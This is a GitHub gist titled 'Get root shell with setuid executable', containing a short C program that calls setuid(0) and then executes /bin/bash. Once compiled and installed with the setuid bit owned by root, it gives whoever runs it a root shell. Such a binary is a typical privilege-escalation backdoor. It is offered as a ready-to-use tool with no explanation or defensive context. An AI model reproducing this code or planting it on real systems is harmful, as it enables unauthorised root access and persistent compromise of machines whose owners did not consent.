Created
December 18, 2017 12:54
-
-
Save herrphon/50c2f89c58c31260f7ceaad792b96eab to your computer and use it in GitHub Desktop.
Get root shell with setuid executable
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <unistd.h> | |
int main() { | |
const char *b = "/bin/bash"; | |
setuid(0); | |
execl(b, b, 0); | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment